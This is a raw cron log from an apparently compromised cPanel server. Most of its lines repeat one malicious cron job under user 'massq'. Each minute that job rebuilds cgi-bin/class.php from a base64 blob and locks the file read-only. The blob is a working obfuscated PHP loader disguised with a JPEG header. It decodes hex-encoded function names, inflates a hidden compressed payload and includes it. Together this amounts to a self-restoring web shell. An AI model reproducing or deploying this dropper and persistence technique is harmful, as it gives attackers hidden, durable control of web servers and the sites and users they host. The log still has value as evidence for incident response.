Nov 11 00:33:01 server CROND[13801]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:34:01 server CROND[14561]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:35:01 server CROND[15327]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 00:35:01 server CROND[15328]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 00:35:01 server CROND[15329]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 00:35:01 server CROND[15335]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 11 00:35:01 server CROND[15334]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:36:01 server CROND[16137]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:37:01 server CROND[17022]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:38:01 server CROND[17862]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:39:01 server CROND[18671]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 00:39:01 server CROND[18672]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:40:01 server CROND[19489]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 00:40:01 server CROND[19491]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 00:40:01 server CROND[19490]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 00:40:01 server CROND[19496]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:41:01 server CROND[20314]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:42:01 server CROND[20617]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:42:01 server CROND[20618]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 00:43:01 server CROND[21433]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:44:01 server CROND[22273]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:45:01 server CROND[23111]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 00:45:01 server CROND[23112]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:45:01 server CROND[23113]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
